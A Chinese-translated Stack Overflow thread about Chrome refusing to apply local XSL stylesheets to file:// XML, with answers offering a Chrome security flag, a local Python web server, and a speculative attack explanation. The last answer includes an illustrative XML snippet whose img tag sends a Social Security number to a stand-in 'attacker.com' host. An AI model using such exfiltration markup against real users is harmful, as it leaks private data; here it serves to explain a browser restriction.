代码之家  ›  专栏  ›  技术社区  ›  Zaz

可以让chrome在本地文件上执行XSL转换吗?

  •  77
  • Zaz  · 技术社区  · 15 年前

    我研究了XSLT,并开始使用W3学校的示例进行测试。

    但是,当我将XML和XSL保存在文件中并尝试在本地打开它们时,chrome不会执行XSL转换。它只是显示一个空白页。

    我已经添加了 <?xml-stylesheet type="text/xsl" href="style.xsl"> 标记到XML文档,然后火狐按预期的方式呈现它。另外,如果我通过Web服务器查看这些文件,chrome会按预期的方式显示文件。

    当链接是本地的时,Chrome在查找样式表信息时是否有问题?将Href更改为 file:///C:/xsl/style.xsl 没什么区别。

    更新: 这似乎是安全政策的副作用 to not treat file:///* as same origin. 这会在控制台中出现以下错误:

    从带有url文件:///c:/xsl rpg/style.xsl的框架加载url文件:///c:/xsl rpg/data.xml的尝试不安全。域、协议和端口必须匹配。

    5 回复  |  直到 8 年前
        1
  •  64
  •   Dan Dascalescu    12 年前

    简短的回答是 “不,使用 diverse set of browsers 在那里” .

    这不起作用的原因是Chrome以一种有争议的方式解决了安全问题。 [1] [2] [3] [4] 通过阻止XML文件访问同一目录中的本地XSLT文件,而HTML文件可以访问同一目录中的.css文件。

    在上面提到的问题中,用户要求提供更清晰的错误消息(因为域、协议和端口实际上是匹配的),或者至少显示不带样式的XML。Chrome开发人员忽略了这些请求。

        2
  •  52
  •   LWChris    10 年前

    您可以使用chrome的命令行标志在本地执行此操作。

    具体标志是 --allow-file-access-from-files

    在OS X上:从terminal.app run /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

    在Windows上:从命令提示符运行 %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

    注意:如果Chrome当前正在运行,您可能需要退出Chrome,否则Ch

        3
  •  9
  •   Arnaud P    9 年前

    如果你想坚持这个操作,答案是否定的(正如其他人指出的),但是解决这个问题的一种方法是运行一个简单的Web服务器,并通过chrome中的http打开文件。如果安装了python 2.x,则可以通过键入以下内容来运行Web服务器:

    python -m SimpleHTTPServer
    

    或者在python 3.x中:

    python3 -m http.server
    

    然后用打开文件 http://localhost:8000/yourfile.xml 在铬合金中。希望您只想完成您的工作,而不必使用 file://

        4
  •  3
  •   Greg Eremeev    8 年前

    我的解决方案是根据XSL文件查看XML

    假设我们有一个带有标题的\file.xml文件:

    <?xml version="1.0" encoding="UTF-8" ?>
    <?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
    
    1. 我们下载文件 https://some-site.com/Common.xsl 把它放在 some_file.xml
    2. 将标题的一部分从 href="https://some-site.com/Common.xsl" href="http://localhost:8001/Common.xsl"
    3. 在目录中运行我们的文件- python3 -m http.server 8001
    4. 在任何浏览器中打开 http://localhost:8001/some_file.xml
        5
  •  2
  •   Ian Boyd    10 年前

    这需要在Chrome bug页面上进行一点解读——他们非常热衷于不解释问题是什么,以及为什么他们选择破坏每个人而不是不破坏每个人。

    假设我有一个XML文件- 在某处 -在我的硬盘上,例如:

    C:\users\ian\documents\taxes\studiotaxreturn\u 2015.xml

    和恶意实体- 以某种方式 -已成功将恶意XML文件放到我的计算机上,例如:

    C:\users\ian\appdata\locallow\temp\trojanvirusworm.xml文件

    想象 特洛伊病毒.xml 包含样式表处理指令( 圆周率 ):

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
    

    然后,攻击者指示浏览器导航到本地保存的 trojanVirusWorm.xml 文件。

    显然,XML文件可以 阅读 XSD文件的内容(而不是由XSD文件转换):

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
       <!--And then a miracle happens, and this XML file is able to read
           the contents of the stylesheet xml file-->
    <html>
       <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
    </html>
    

    我不理解XML文件如何读取样式表文件。但Chrome团队向我们保证,这是一种危险,而且无法解决。

    其他浏览器都解决了这个问题。他们解决了它 because it's not a problem .